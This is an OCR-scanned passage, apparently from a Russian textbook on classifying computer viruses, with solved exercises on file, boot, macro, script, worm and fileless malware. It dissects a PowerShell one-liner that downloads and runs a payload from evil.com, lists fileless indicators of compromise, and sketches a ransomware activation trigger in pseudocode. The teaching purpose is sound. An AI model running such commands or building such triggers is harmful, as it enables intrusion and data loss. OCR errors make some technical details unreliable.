3 . Аппаратная защита (чипсет, ТРМ) запрещает несанкционированную запись в
загрузочные области.
4 ELAM и Trusted Boot в Windows проверяют целостность 3ai рузочных
компонентов до их запуска.
Угроза эволюционировала в UEFi-буткиты, но классический MBR-вирус в
системах с Secure Boot нежизнеспособен
Глава 2. Классификация вирусов по среде обитания и способу заражения
2.1. Файловые вирусы (COM, EXE, DLL-инфекторы)
Файловые вирусы — исторически первый и наиболее многочисленный класс.
Их среда обитания — исполняемые файлы. Вирус физически внедряет своё
тело в файл и модифицирует его гак, чтобы при запуске управление получал
вредоносный код. Классические мишени — COM-файлы MS-DOS (простые, без
заголовков), ЕХЕ-файлы формата MZ и РЕ (Windows), а также динамически
подключаемые библиотеки (DLL).
Методы заражения:
• Prepending (внедрение в начало): Вирус записывает себя в начало файла,
сдвигая оригинальный код Просто, но файл заметно меняется, и хеш-суммы
легко детектируются
• Appending (дописывание в конец): Самый распространённый метод. Вирус
дописывается в конец файла, сохраняет оригинальную точку входа и изменяет
Entry Point в заголовке.
• Cavity-инфекция (внедрение в полости): Вирус ищет неиспользуемые
области внутри файла (например, область между секциями РЕ-файла,
заполненную нулями из-за выравнивания) и вставляет свой код туда. Размер
файла не изменяется, что повышает скрытность. Также может использовать
пустые области заголовков.
Overwriting (перезапись): Вирус полностью или частично замешает код
хозяина. Файл перестает работать, что быстро обнаруживается. Используется
редко, в основном в вайперах.
Модификация РЕ-заголовка:
Для захвата управления вирус обычно изменяет
поле AddressOfEntryPoint (RVA точки входа). Оригинальный RVA сохраняется
внутри вируса. Также может добавляться новая секция (увеличивается
NumoerOfSections, SizeOflmage) либо расширяться последняя секция с
установкой флага IMAGE_SCN_MEM_EXECUTE. При внедрении в DLL вирус
может перехватывать вызовы экспортируемых функций (ЕАТ-хукинг) или
модифицировать DIIMain.
Современные ОС защищаются: ASLR (рандомизация адресного пространства)
усложняет предсказание адресов, DEP (Data Execution Prevention) не даёт
выполнить код в секциях данных, обязательная цифровая подпись
драйверов мешает заражению системных файлов. Однако вирусы
адаптируются, используя ROP-цепи, Return-Oriented Programming, или заражая
только файлы, не защищённые иелостностью.
| Задачи к подразделу 2.1
1. Сравните два способа заражения ЕХЕ-файла: дописывание в конец и
внедрение в пустые области выравнивания. Каковы плюсы и минусы
каждого?
Решение:
Характеристика
Appending (дописывание в
конец)
Cavity (внедрение в
полосги)
Изменение размера
Да, размер увеличивается
файла
Скрытность
Низкая ле!ко заметить по
изменению размера и хеша
Нет, размер неизменен
Высокая: размер и часто
хеш (частично) не
меняются
Характеристика Appending (дописывание в конец) Cavity (внедрение в полости)
Сложность Низкая: просто дописать Высокая: нужно найти подходящую полость
данные и поправить Entry достаточного размера,
реализации Point
учитывать выравнивание
Ограничения Практически нет, работает секций Размер вируса ограничен размером полостей; не
почти всегда все файлы имеют
Стабильность Высокая, не нарушает достаточно пустот Риск повредить данные, если полость ошибочно идентифицирована или
Детектирование структуру секций Легче: новая секция или используется программой Сложнее: структура файла выглядит легитимной, Entry Point
эвристиками измененный SizeOfimage может указывать в
бросаются в глаза
середину существующей секции
Вывод: Cavity-инфекция изящнее и незаметнее, но требует более тонкой
работы и применима не всегда. Appending проще и надёжнее, поэтому
массово используется начинающими вирусописателями и в конструкторах.
2. Почему DLL-инфекторы часто более скрытны, чем обычные ЕХЕ-
вирусы?
Решение:
Контекст выполнения: DLL загружается в адресное пространство легитимного
процесса. Вредоносный код работает под видом доверенного процесса
(например, explorer.exe, svchost.exe), что затрудняет обнаружение
поведенческим анализом.
• Отсутствие отдельного процесса: ЕХЕ-вирус создаёт собственный процесс
(или заражает существующие, но всё равно проявляет активность при запуске).
DLL-инфектор невидим в списке процессов как отдельная сущность.
• Перехват АР< естественен: DLL может легитимно экспортировать функции и
использоваться для хукинга. Многие системные механизмы (СОМ-объекты,
расширения оболочки) основаны на загрузке DLL Этим пользуются вирусы,
маскируясь под легитимные расширения.
• Сложность проверки целостности: Проверка подлинности DLL сложнее, так
как их легитимно загружают сотни процессов, а цифровая подпись есть не у
всех.
• Автозагрузка через AppInitDLLs, реестр (AppCertDlls) или
манифесты: Существуют точки входа, позволяющие внедрить DLL во все
процессы, что обеспечивает глобальный контроль.
3. Проведите анализ любого известного файлового вируса (например,
CIH/Spacefiller) — опишите его метод заражения и причину
разрушительности.
Решение.
Вирус CIH (также известный как «Чернобыль»), созданный в 1998 году, заражал
РЕ файлы под Windows 95/98/Ме. Он использовал уникальную кавитационную
технику: разбивал своё тело на мелкие блоки и размещал их в неиспользуемых
промежутках между секциями (обычно между заголовком и первой секцией,
или между секциями), а также в «slack space» в конце секций из-за
выравнивания. При этом размер файла не увеличивался, что делало его
чрезвычайно скрытным для сигнатурного анализа того времени (антивирусы
часто ориентировались на изменение размера).
Разрушительность ОН заключалась в нагрузке (payload), которая
активировалась 26 апреля. Он выполнял две деструктивные операции.
1. Перезаписывал первый мегабайт жёсткого диска случайными данными,
начиная с нулевого сектора (где находился MBR и таблица разделов). Данные
уничтожались безвозвратно.
2. На уязвимых материнских платах с флеш-памятью BIOS вирус пытался
перезаписать содержимое BIOS мусором. После этого компьютер не мог
загрузиться вообще, требовалась аппаратная перепрошивка.
Причина разрушительности — сочетание скрытного распространения (многие
пользователи не знали о заражении до дня X) и тотальной деструктивной
нагрузки, нацеленной на критически важные области системы, восстановление
которых без специального оборудования невозможно.
2.2. Загрузочные вирусы (boot-сектора. Master Boot Record)
Загрузочные вирусы инфицируют код, исполняемый на самой ранней стадии
загрузки компьютера. Их цель— Master Boot Record (первый физический
сектор жёсткого диска, содержащий код начальной загрузки и таблицу
разделов) или загрузочный сектор раздела (Volume Boot Record). При
включении компьютера ВЮ5 считывает MBR в память и передает ему
управление. Если MBR заражён, вирус активируется ещё до старта
операционной системы, получая полный контроль над оборудованием.
Механизм заражения: вирус копирует оригинальный M3R в другое место
(например, в один из свободных секюров), а на ею место записывает свой код.
При загрузке вирус загружает себя, может перехватить прерывание INT 1 Bh
(дисковые операции), чтобы скоывать свое присутствие и заражать другие
носители (дискеты), а затем загружает оригинальный MBR. чтобы система
запустилась нормально,
Почему вымерли: С приходом UEFI классический MBR-пирус потерял
актуальность. UEFI не использует MBR для загрузки ОС, он запускает файлы .efi
из системного раздела EFI. Технология Secure Boot проверяет цифровые
подписи загрузочною кода, и неподписанный вирус просто не будет выполнен.
Однако появились буткиты — вредоносные программы, заражающие уже
саму прошивку UEFI или обходящие Secure Doot через уязвимости (например,
BlackLotus использовал уязвимость CVE-2022-21894). Так что угроза
эволюционировала, но классический загрузочный вирус 99 х годов в
современных системах нежизнеспособен.
| Задачи к подразделу 2.2
1. Нарисуйте блок-схему процесса загрузки ПК с BIOS и укажите, в какой
момент активируется загрузочный вирус.
Решение (текстовое описание блок-схемы).
text
[Включение питания]
[Выполнение BIOS (Power-On Self Test, инициализация оборудования)]
|BIOS определяет загрузочное устройство (диск, CD-ROM и т.п.)]
[BIOS считывает первый сектор устройства (MBR) в память по адресу 0x0300:0x7080]
[BIOS передаёт управление на начало этого кода (0х7С00)] <— ЗДЕСЬ активируется
загрузочный вирус
[Если MBR заражён: вирусный код выполняется первым, резидентный модуль может оста
ться в памяти]
[Вирус (или оригинальный код, если MBR чист) ишет активный раздел в таблице разде
лов]
[Загрузка загрузочного сектора активного раздела (VBR)]
[VBR загружает файл начальной загрузки ОС (NTLDR, bootmgr и т.д.)]
[Загрузка ядра ОС]
Вирус перехватывает управление на этапе, отмеченном стрелкой, сразу после
считывания MBR. Это дает ему возможность выполниться до любых защитных
средстг ОС.
2. Может ли современный компьютер с Windows 11 и Secure Boot быть
заражён классическим загрузочным вирусом? Ответ абоснуйте.
Решение.
Нет, классическим MBR-вирусом — не может. Windows 11 требует UEFI и Secure
Boot. При включённом Secure Boot прошивка проверяет подписи всего
загрузочного кода. Если вирус модифицирует MBR, то либо.
UEFI вообще не будет читать MBR (если используется GPT и загрузка с .efi-
файла).
Если компьютер в режиме совместимости BIOS (GSM), Secure Boot отключается,
но Windows 11 не поддерживает установку в таком режиме. Даже если
принудительно включить CSM, загрузочный код MBR без валидной подписи не
пройдёт проверку Secure Boot, и система откажется загружаться.
Однако если Secure Boot отключён (что возможно на некоторых системах), и
включен режим совместимости с BIOS (Legacy Boot), то теоретически
классический загрузочный вирус moi 6di срабооть. Но на практике такие
конфигурации для Windows 11 нештатны, и вирус столкнется с защитами
уровня ОС (ELAM, PatchGuard) после загрузки.
3. Изучите историю вируса Stoned и опишите, как он определял, что
система уже заражена.
Решение.
Вирус Stoned (1987) заражал MBR жёсткого диска и загрузочные сектора
дискет. При загрузке с заражённого диска он становился резидентным и
заражал вставляемые дискеты Чтобы определить, заражён ли уже MBR
жесткого диска, вирус использовал сигнатуру. Оригинальный Stoned проверял
первые четыре байта MBR. Если по смещению 0х01А (последние 2 байта кода
начальной загрузки) находилась сигнатура ехзз 0хЕ9 (или просто байты,
характерные для его кода), он считал MBR уже заражённым. Конкретно вирус
сравнивал байты своего кода, записанные им ранее при первом заражении
(обычно несколько инструкций в начале MBR), Если они совпадали, заражение
не производилось. Эго предотвращало повторную запись и повреждение MBR.
2.3. Макровирусы (документы Word, Excel, скрипты
офисных пакетов)
Макроьирусы — это вредоносные программы, написанные на макроязыках,
встроенных в офисные пакеты (наиболее известен VBA — Visual Basic for
Applications в Microsoft Office). Их среда обитания — файлы документой (.doc,
docm, ,xls, .xlsrn), которые могут содержать макросы. Макровирус заражает
документы, копируя свой макрокод в них, и часто пытается заразить
глобальный шаблон (например Normal dotm в Word), чтобы все вновь
создаваемые или открываемые документы автоматически инфицировались
Почему это опасно:
Кроссплатформенность: VBA-код выполняется на любой ОС, где установлен
Office (Windows, macOS), хотя некоторые функции могут различаться.
Простота распространения: документы пересылаются по электронной почте,
скачиваются из интернета, ими легко обмануть пользователя (социальная
инженерия).
Мощный язык: VBA позволяет работать с файловой системой, реестром,
сетью, запускать внешние npoi раммы, что открывает дорогу к 3ai рузке
дополнительного вредоносного ПО.
Современные версии Office по умолчанию блокируют макросы из интернета
или документов с отметкой Zone.ldentifier, но пользователи могут вручную
разрешить выполнение, что активно эксплуатируется фишерами (Emotet,
Dridex, BazarLoader и др.).
| Задачи к подразделу 2.3
1. Напишите безопасный макрос, который при открытии документа
выводит предупреждение, и объясните, как такой же механизм
используется вирусами.
Решение (пример кода VBA в документе Word):
vba
Private Sub Document_Open()
MsgBox "Этот документ содержит макросы. Пожалуйста, убедитесь, что вы доверяе
те источнику.", vblnformation, "Предупреждение безопасности'
End Sub
Этот макрос автоматически выполняется при открытии документа (событие
Document_Open). Он безвреден.
Злоумышленники используют тот же механизм, они размещают вредоносный
код в обработчике Document_open() или AutoOpenQ. При открытии документа
макрос запускается скрытно (не показывая сообщений или маскируя их),
загружает и исполняет полезную нагрузку (например, загружает троян из
интернета). Отличие лишь в том, что вредоносный код минимизирует
визуальные индикаторы и выполняет деструктивные действия
2. Почему Microsoft внедрила блокировку макросов из Интернета по
умолчанию? Какие проблемы это решило?
Решение:
Microsoft внедрила функцию Mark-of-the-Web (MoTW). Когда файл скачивается
из интернета (через браузер, почтовый клиент), ОС добавляет к файлу
альтернативный поток NTFS (Zone.ldentifier), указывающий, что файл получен
из небезопасной зоны. Office, видя этот маркер, блокирует макросы и
показывает предупреждение.
Это решило проблему массового заражения через фишинговые вложения;
даже если пользователь открывал документ, макросы не выполнялись
автоматически, и пользователь должен был явно разблокировать файл (что
добавляет шаг осознания риска). Раньше (до Office 2010) макросы могли
запускаться без препятствий, что привело к эпидемиям Melissa, ILOVEYOU и
многих других.
3. Разработайте сценарий обучения сотрудников распознаванию
фишинговых документов с макросами.
Решение (план тренинга)'
Цель: научить сотрудников идентифицировать вредоносные документы и
правильно на них реагировать
Сценарий:
1 Введение (5 мин): Рассказать, что такое макросы и почему они используются
злоумышленниками. Показать пример легитимного документа с макросами
(например, шаблон отчёта) и вредоносного (поддельная «квитанция»),
2. Признаки подозрительного документа (10 мин):
о Письмо пришло неожиданно, от незнакомою отправителя или подозртельно
похожего на известный контакт
о Тема письма вызывает страх, срочность («Ваш заказ заблокирован», «Счёт к
оплате», «Повестка»),
о Вложение требует включения макросов для просмотра («Включите контент,
чтобы увидеть документ»),
о Расширение файла — .docm, .xlsm, .pptm или .zip, внутри которого офисный
файл.
о При открытии появляется запрос на включение макросов, особенно если
содержимое скрыто за картинкой-заглушкой.
3. Практическое упражнение (15 мин): Раздать участникам несколько реальных
фишинговых писем (безопасно, в виде скриншотов) и попросить их
определить, какие из них вредоносные, аргументировать. Обсудить результаты.
4, Правила действий (5 мин):
о Никогда не включать макросы в документах из ненадёжных источниког.
о Если получили подозрительный документ, не открывать его. Сообщить в ИТ-
отдел / службу безопасности.
о Использовать предпросмотр в Outlook или веб-почте для оценки без открытия
в Office.
5. Закрепление: Разослать памятку с чеклистом «5 признаков фишингового
документа». Через месяц прозести симулированную фишинговую рассылку (с
разрешения руководства) и оценить процент сотрудников, не попавшихся.
2.4. Скриптовые вирусы (VBS, JavaScript, PowerShell)
Скриптовые вирусы используют интерпретируемые языки, для выполнения
которых не требуется компиляция, а нужен лишь встроенный в ОС хост
(Windows Script Host, PowerShell, JavaScript-движок). Они могут существовать в
виде отдельных файлов (.vbs, ,js, psi) или быть встроенными в другие
документы (НТА, HTML, офисные макросы). Их главное преимущество —
простота модификации и обфускации, обилие легитимных системных
инструменюв, позволяющих «жигь за счёт земли» (Living off the Land): они
используют штатные утилиты ОС, не загружая подозрительные бинарники.
Типичные векторы:
• Вредоносные вложения в письмах (Invoice.pdf.vbs, двойные расширения).
• Ссылки на НТА файлы (HTML Application), выполняющие скрипт оне браузера
• Командные строки PowerShell в макросах или ярлыках.
Особенность: Мно1ие скриптовые атаки — бестелесные (fileless), Вредоносный
код может быть загружен прямо в память и выполнен без сохранения на диск.
Например. PowerShell может скачать скрипт из интернета и выполнить его в
памяти (invoke-Expression (New-Object Net.WebClient),DownloadString(...)). Это
затрудняет обнаружение файловыми антивирусами
| Задачи к подразделу 2.4
1. Почему скриптовые вирусы часто относят к «бестелесным» угрозам?
Решение:
Бестелесные (fileless) угрозы — это атаки, при которых вредоносный код не
устанавливается в виде файла на жёсткий диск, а существует только в
оперативной памяти, реестре, WMI или исполняется напрямую через
интерпретаторы. Скриптовые вирусы идеально вписываются в эту модель
• PowerShell, VBScript, JScript позволяют выполнить сложные вредоносные
сценарии прямо в памяти, без сохранения скрипта на диск (или с временной
записью в кэш).
• Код может быть встроен в реестр (Run-ключи с длинными командами
PowerShell), WMI-подписки на события, ярлыки.
• При загрузке из интернега вредоносный код не сохраняется как постоянный
файл, что обходит традиционные файловые сканеры.
Поэтому скриптовые вирусы часто являются инструментом бестелесных атак.
2. Разберите скрипт-однострочник на PowerShell, скачивающий и
исполняющий нагрузку; объясните каждую его часть.
Пример
powershell.exe -Executionpolicy Bypass -NoProfile -Windowstyle Hidden (New-Object
Net.WebClient).DownloadString('http://evil.com/payload.psi') | IEX
Решение. Разберём параметры и части:
• powershell.exe — запуск интерпретатора PowerShell.
• -ExecutionPciicy Bypass — отключает политику ограничения выполнения
скриптов, позволяя запускать неподписанные скрипты.
• -NoProfile — не загружает профиль пользователя, ускоряет запуск и делает
окружение более чистым.
• -windowstyle Hidden — скрывает окно PowerShell от пользователя.
• (New-Object Net.WebClient).DownloadString('http://evil.com/payload.osl') —
создает объект WebClient и скачивает содержимое URL как строку (текст
скрипта).
• | IEX — сокращение для invoke-Fxpnession, которое выполняет полученную
строку как команду PowerShell в текущем сеансе (в памяти).
Итог' без сохранения файла на диск, PowerShell скачивает вредоносный скрипт
и выполняет его прямо в памяти, скрытно от пользователя,
3. Какие политики ограниченного выполнения скриптов существуют в
Windows и почему они не всегда эффективны?
Решение:
• Restricted: запрещает выполнение любых скриптов. Стандартная для старых
систем.
• AHSigned: разрешены только скрипты, подписанные доверенным издателем.
• RemoteSigned: локальные скрипты выполняются свободно, скачанные из
интернета должны быть подписаны.
• Unrestricted: разрешено всё, но скачанные файлы запрашивают
подтверждение.
Неэффективность:
• Атакующий может использовать флаг -Executionpolicy Bypass (если У
пользователя есть права на запуск PowerShell), который переопределяет
политику на время сеанса.
• Злоумышленники могут использовать другие хосты (WScnpt, CScript, MSHTA), у
которых твои политики.
• Обфускация и кодирование скрипта (Base64) позволяют обойти фильтры,
основанные на подписи, а политики не проверяют содержимое.
• Политики не мешают выполнению встроенных команд в памяти через IЕХ, если
сам файл скрипта не запускается как файл. Поэтому политики ограниченного
выполнения —лишь один из рубежей защиты, но не абсолютная гарантия.
2.5. Сетевые черви как особая форма самоменяющегося
кода
Сетевые черви — это самовоспроизводящиеся программы,
распространяющиеся по сети. В отличие от вирусов, им не нужен файл-
носитель. Они используют уязвимости в сетевых службах, подбор паролей,
общие папки, электронную почту, мессенджеры. Попав на новый узел, червь
запускает свою копию, коюрая продолжает сканирование и заражение.
Скорость распространения может быть взрывной (Slammer заразил 75 000
сеоверсв за 10 минут).
Классификация червей'
• Email-черви: рассылают себя как вложение (Melissa, LoveLetter). Часто требуют
участия пользователя.
• Черви, эксплуатирующие уязвимости: автоматически атакуют уязвимые
службы (Cede Red — IIS, Blaster— DCOM RPC, Sasser— LSASS, WannaCry —
SMB).
• Сетевые черви для файлообменных сетей: копируют себя е папки обмена
P2P под видом популярных файлов
• IRC/IM-черви: распространяются через чаты и мессенджеры.
Жизненный цикл червя:
1 . Обнаружение целей: сканирование |р-адресов, DNS-имен, чтение адресной
книги.
2 Эксплуатация: отправка эксплойта, копирование себя через общие ресурсы
3. Закрепление: запуск копии на удалённой машине.
4. Распространение: новый экземпляр начинает новый цикл сканирования.
Гибриды (например, NotPetya) сочетают червячную технику (EternalBlue) с
другими компонентами Червь может нести разрушительную нагрузку или
просто создавать ботнет.
| Задачи к подразделу 2.5
1. Чем отличается механизм распространения червя blaster от механизма
файлового вируса? Почему Blaster не выжил бы без уязвимости DCOM
RPC?
Решение:
Blaster (Lovsan, 2003) использовал уязвимость переполнения буфера в службе
DCOM RPC (порт 135) в Windows ХР/2000. Он отправлял специально
сформированный сетевой пакет, который вызывал выполнение кода на
удалённой машине. За1ем удалённый компьклер скачивал файл msblast.exe с
TFTP-сервера и запускал его. Файловый вирус, напротив, заражает локальные
исполняемые файлы и ждёт, пока пользователь запустит их или скопирует на
другой компьютер. Blaster же распространялся автоматически без участия
пользователя
Без уязвимости DCOM RPC механизм Blaster был бы неработоспособен: он не
мог бы выполнить свой код на удалённой системе Червь полагался именно на
эксплуатацию этой конкретной дыры. Патч от Microsoft закрыл уязвимость, и
дальнейшее распространение Blaster стало невозможным.
2. Смоделируйте алгоритм случайного сканирования IP-адресов червем и
оцените его эффективность.
Решение.
Простейший алгоритм;
1. Заражённый хост генерирует случайный 32-битный 1Р'/4-адрес
(псевдослучайный).
2. Проверяет доступность порта жертвы (например, TCP 445).
3. Если порт открыт и служба уязвима — отправляет эксплойт.
4. После заражения повторяет цикл.
Оценка эффективности Пространство IPv4 — около 4 млрд адресов, из
которых значительная часть не маршрутизируется. Если червь сканирует со
скоростью 100 адресов в секунду, а уязвимых хостов в мире 1 млн, то среднее
время нахождения одной жертвы — около 40 000 секунд (полдня). Однако
черви обычно работают мноюпоточно и быстро множатся, так что эпидемия
становится экспоненциальной. Недостаток случайного сканирования — много
шума, лёгкость обнаружения IDS/IPS, неэффективность против локальных сетей.
Более продвинутые черви (Conficker) использовали генерацию списков на
основе приоритетных диапазонов и локальное сканирование.
3. Предложите сетевую архитектуру, которая максимально затруднит
распространение червя.
Решение:
• Микросегментация сети: каждый критичный сервер или группа небольшого
размера находятся в своём VLAN с межсетевым экраном, который пропускает
только строю необходимые порты и про юколы между cei менгами.
• Брандмауэры уровня узла (host-based firewall): на каждом хосте разрешены
только необходимые входящие соединения, остальные блокируются.
• Системы предотвращения вторжений (IPS) на границах сегментов с
сигнатурами эксплойтов и аномалий.
• Принцип нулевого доверия (Zero Trust): аутентификация и авторизация
каждого сетевого соединения, даже внутри сети
• Отключение неиспользуемых служб на всех хостах, особенно устаревших и
уязвимых (SMBv1. NetBIOS, RPC).
• Регулярное обновление ПО. включая сетевое оборудование.
• Сетевая изоляция «гостевых» и 1оТ-устройств в отдельные подсети без
доступа к корпоративной сети.
• Фильтрация на DNS и прокси-серверах, чтобы черви не могли связываться с
С&С или загружать компоненты.
Такая архитектура не остановит направленную атаку, но резки замедлит и
ограничит автоматическое размножение червей.
2.6. Бестелесные (fileless) вирусы: жизнь в оперативной
памяти и реестре
Бестелесные вирусы (или fileless malware) не записывают свои исполняемые
файлы на диск, Они существуют исключительно в оперативной памяти,
реестре, WMI-репозитории, скриптах, запускаемых интерпретаторами. Их цель
— избежать обнаружения файловыми антивирусами и оставить минимум
артефактов на диске.
Типовая цепочка заражения:
1. Пользователь открывает фишинговый PDF или документ с вредоносным
макросом.
2. Макрос запускает PowerShell с параметрами, скачивающими и выполняющими
скрипт в памяти.
3, Скрипт внедряет шелл-код в процесс (например, через отраженную загрузку
сборки NET).
4. Для закрепления создается задача в планировщике или ключ реестра,
запускающие скрипт при входе с систему (скрипт опять же выполняется из
реестра или памяти, без файла).
Сложность обнаружения: Традиционные антигирусы ориентированы на
проверку файлов при создании, записи, чтении. Fileless-вирус не создает
подозрительных файлов. Аналитикам приходится использовать мониторинг
процессов (EDR), логи скрипт-блоков PowerShell, анализ командных строк,
аномалии в поведении легитимных утилит (powershell.exe. mshta.exe,
cscnpT.exe).
| Задачи к подразделу 2.6
1. Соберите доказательную базу того, что бестелесный вирус сложнее
обнаружить, и объясните почему.
Решение.
• Отсутствие файлов: сигнатурный анализ бессилен, так как нет файла для
сканирования Код живет в памяти, а анализ памяти — более сложная и
ресурсоемкая задача
• Использование легитимных инструментов: PowerShell, WMI, скрипты —
легитимные утилиты, подписанные Microsoft. Простое обнаружение их запуска
даст много ложных срабатываний.
• Обфускация в командной строке: длинные команды PowerShell могут быть
закодированы в Base64, что скрывает суть. Расшифровка и анализ требуют
эвристик и эмуляции.
• Мимикрия: внедрение кода в системные процессы (explorer.exe, svchost.exe)
маскирует вредоносную активность под нормальную.
• Малое количество артефактов: даже при анализе инцидента восстановить
полную картину атаки трудно, так как следы могут быть только а логах событий
Windows, которые могут быть очищены.
Всё это заставляет переходить от файлового мониторинга к поведенческому
анализу и анализу оперативной памяти, что технически сложнее и дороже.
2. Разработайте перечень индикаторов компрометации (ЮС),
характерных для fileless-инфекции.
Решение:
• Команды PowerShell с подозрительными флагами (-EncodedCommand, -
ExecutionPolicy Bypass, -NoProfile, -Windowstyle Hidden), содержащие длинные
Base64-CTpOKH.
Запуск процессов-интерпретаторов (wscript.exe, cscnpt.exe, mshta.exe,
powershell.exe) неинтерактивными пользователями (системными учётными
записями) или без видимых окон.
Сетевые подключения от системных утилит (например, powershell.exe
устанавливает соединение с внешним IP-адресом).
Создание WMI-подписок (_EventFilter, _FilterToConsumerBinding) для
автоматического выполнения скриптог
Появление в реестре ключей автозагрузки (Run, RunOnce) с командами,
содержащими вызовы интерпретаторов скриптов.
Аномальное использование легитимных системных DLL (например, загрузка
NFT сборки через Assembly.Load из памяти).
Наличие в памяти процессов подозрительных строк (URL-адреса С&С, команды
PowerShell), выявляемых при дампе памяти.
3. Каким образом EDR-системы выявляют аномалии в поведении
процессов, если вредоносный код не хранится на диске?
Решение.
EDR (Endpoint Detection and Response) агенты устанавливают драйверы,
перехватывающие системные вызовы, и собирают телеметрию в оеальном
времени, создание процессов, загрузка DLL, сетевые подключения, доступ к
реестру, внедрение в память. Для обнаружения filcless-атак они используют:
Анализ цепочек событий: если макрос в документе порождает PowerShell,
который затем осушествляет сетевое подключение или модифицирует реестр
— это подозрительная цепочка.
Проверку командных строк: извлечение и декодирование аргументов
PowerShell, даже закодированных, с последующей проверкой сигнатурами или
ML-моделями.
Мониторинг памяти: детектирование вызовов Virtual Alloc,
WriteProcessMemory, создания потоков с подозрительным стартовым адресом
(например, код в куче).
Обнаружение отражённой загрузки: отслеживание использования
Assembly Load с байтами из неизвестного источника.
Скоринговые модели: каждое событие получает балл риска, суммарный балл
определяет уровень угрозы, без привязки к файлам.
Таким образом, EDR видит не файлы, а поведение, и способен блокировать
fileless-атаки на основе анализа поведения, а не сигнатур файлов.
Глава 3. Жизненный цикл и механизмы маскировки
3.1. Стадии: заражение, инкубация, активация, размножение, проявление
Жизненный цикл классического компьютерного вируса удобно описывать в
терминах, заимствованных из биологии. Это не просто метафора — реальный
алгоритм поведения большинства вредоносных программ распадается на пять
фаз.
1. Заражение.
Вирус попадает в систему-жертву Пути проникновения: заражённый файл на
съемном носителе, фишинговое вложение, эксплойт, скачанный из интернета
инсталлятор. Как только вредоносный код получает управление (полозователь
запустил заражённый файл, или червь проэксплуатировал уязвимость), он
выполняет процедуру внедрения в файл-носитель, загрузочный сектор, макрос
и т.д, Система считается заражённой с момента, когда вирус обеспечил себе
возможность повторного автоматического запуска при следующем включении
или входе пользователя.
2. Инкубация (латентная фаза).
Вирус уже присутствует в системе, но активной вредоносной деятельности не
проявляет. Он может размножаться, заражая другие файлы, но деструктивная
нагрузка (если она есть) отложена. Инкубационный период нужен, чтобы:
накопить критическую массу заражённых объектов до того, как будет замечена
аномалия;
дождаться выполнения определённых условий (триггера).
Продолжительность инкубации — от нуля (немедленная активация) до
месяцев Например, е ирус Michelangelo активировался строго 6 марта каждого
года.
3. Активация (триггер).
Срабатывает условие, которое запускает основную нагрузку. Триггеры бывают:
временные— конкретная дата, день недели, прошествие N часов после
заражения;
счётчиковые — заражено определённое количество файлов;
событийные — запуск конкретной программы, подключение к сети, отсутствие
сетевого трафика;
внешние — команда с С&С-сервера (в современных APT).
Если триггер не сработал, вирус остаётся в инкубации и может быть удалён до
нанесения ущерба.
4. Размножение (репликация).
Вирус активно ищет новые цели для заражения: обходит каталоги, заражает
подходящие файлы, рассылает себя по сети (если обладает червячной
компонентой). Это может происходить как во время инкубации, так и после
активации Именно репликация прерывается защитными средствами в первую
очередь — детектирование на стадии размножения предотвращает эпидемию.
5. Проявление (нагрузка).
Фаза, в которой исполняется деструктивная или вредоносная функция
шифрование файлов (ransomware), кража данных, вывод сообщения, DoS-этака,
уничтожение данных (вайпер). После проявления вирус может завершить
работу, самоуничтожиться или продолжить размножение.
Понимание этих стадий позволяет выстроить эшелонированную защиту:
препятствовать заражению (периметр), детектировать репликацию
(поведенческий анализ), минимизировать ущерб от активации (резервное
копирование) и ускорять восстановление после проявления.
Задачи к подразделу 3.1
1. Постройте временную диаграмму состояний для вируса-трояна,
который сначала собирает данные, а затем шифрует диск.
Решение (диаграмма в текстовой форме).
text
[Заражение] -> (инкубация: неделя скрытого сбора данных)
- » [Триггер: собрано > 10 МБ или прошло 7 дней]
- » [Активация передача собранных данных на C&C]
- > [Ожидание команды]
- > [Получение команды "шифровать"]
- » [Проявление: запуск модуля вымогателя, шифрование файлов, вывод требования выку
па]
- » [Вирус остаётся в памяти, поддерживая связь с С&С]
На диаграмме выделены все пять стадий с разветвлением по триггерам. Можно
изобразить графически с прямоугольниками состояний и стрелками переходов,
подписав условия.
2. Почему разработчики антивирусов стремятся прервать цикл на стадии
размножения?
Решение.
Размножение — это этап, на котором вирус создает свои копии и заражает
но^ые объекты. Прерывание именно здесь дает наибольший эффект:
Остановка эпидемии: если заблокировать репликацию на одном из первых
заражённых узлов, предотвращается лавинообразное распространение.
Снижение ущерба: вирус, не сумевший размножиться, остается единичным
экземпляром, его проще удалить, и он не успевает выполнить нагрузку на
множестве машин.
Простота детектирования: репликация — аномальное поведение для
легитимных программ. Мониторинг массового изменения файлов,
подозрительных сетевых соединений легче автоматизировать, чем попытки
предсказать деструктивную нагрузку, которая может быть уникальной.
Если вирус уже перешёл к стадии проявления (например, начал шифровать
диск), то ущерб уже нанесен, и остается только изолировать систему и
восстанавливать из бэкапа.
3. Придумайте легенду вируса, который активируется при наступлении
трёх независимых условий, и напишите план его логического триггера.
Решение.
Легенда: вирус «Eclipse» предназначен для атаки на бухгалтерские системы
крупных предприятий. Он распространяется через фишинговые письма и
заражает макросами документы. Триггер активации нагрузки (шифрование баз
1С и файлов Excel) срабатывает, когда одновременно выполняются три условия:
1 Временное: текущая дата — последний рабочий день квартала (31 марта, 30
июня, 30 сентября, 31 декабря).
2 . Событийное: запущен процесс icv8.exe (открыта программа ЮПредприятие).
3 Счётчиковое: вирус заразил не менее 50 других документов на этом
компьютере (чго свиде1ельсгвует, что машина активно используется и на ней
хранятся рабочие файлы)
Логический триггер (псевдокод).
text
Функция ПроверитьАктивацию()
Если (СегодьяПоследнийДеньКвартала() = Истина) И
(ПцоцессЗапущен("1сх8.ехе") = Истина) И
(СчётчикЗаражений >= 50) Тогда
Вернуть Истина
Иначе
Вернуть Ложь
Конец Если
Конец Функции
План реализации: вирус хранит счетчик заражений в зашифрованном виде в
своём теле или в реестре. При каждом запуске он проверяет дату, наличие
процесса 1С, и если все три условия выполнены, вызывает функцию
шифрования В противном случае продолжает заражать документы и
увеличивать счётчик.
3.2. Шифрование и полиморфизм: как вирусы меняют свой код
Сигнатурный анализ — поиск уникальной последовательности байт,
идентифицирующей конкретный вирус. Чтобы обойти его, вирусописатели
применяют шифрование основного тела вируса. Простейший вариант —
оли.гоморфный вирус: он содержит расшифровщик (decryptor) и
зашифрованное основное тело. При каждом заражении ключ шифрования
меняется, поэтому зашифрованная часть выглядит по-разному. Однако
расшифровщик остаётся неизменным, и антивирус может детектировать его
сигнатуру.
Полиморфизм — дальнейшее развитие: вирус при каждой репликации
генерирует новый, уникальный код расшифровщика. Это достигается.
перестановкой независимых инструкций,
заменой одних команд эквивалентными (например, mov еах, 0 <-» хог еах, еах),
вставкой мусорных инструкций (NOP, бесполезные вычисления),
использованием разных регистров,
варьированием алгоритма расшифровки.
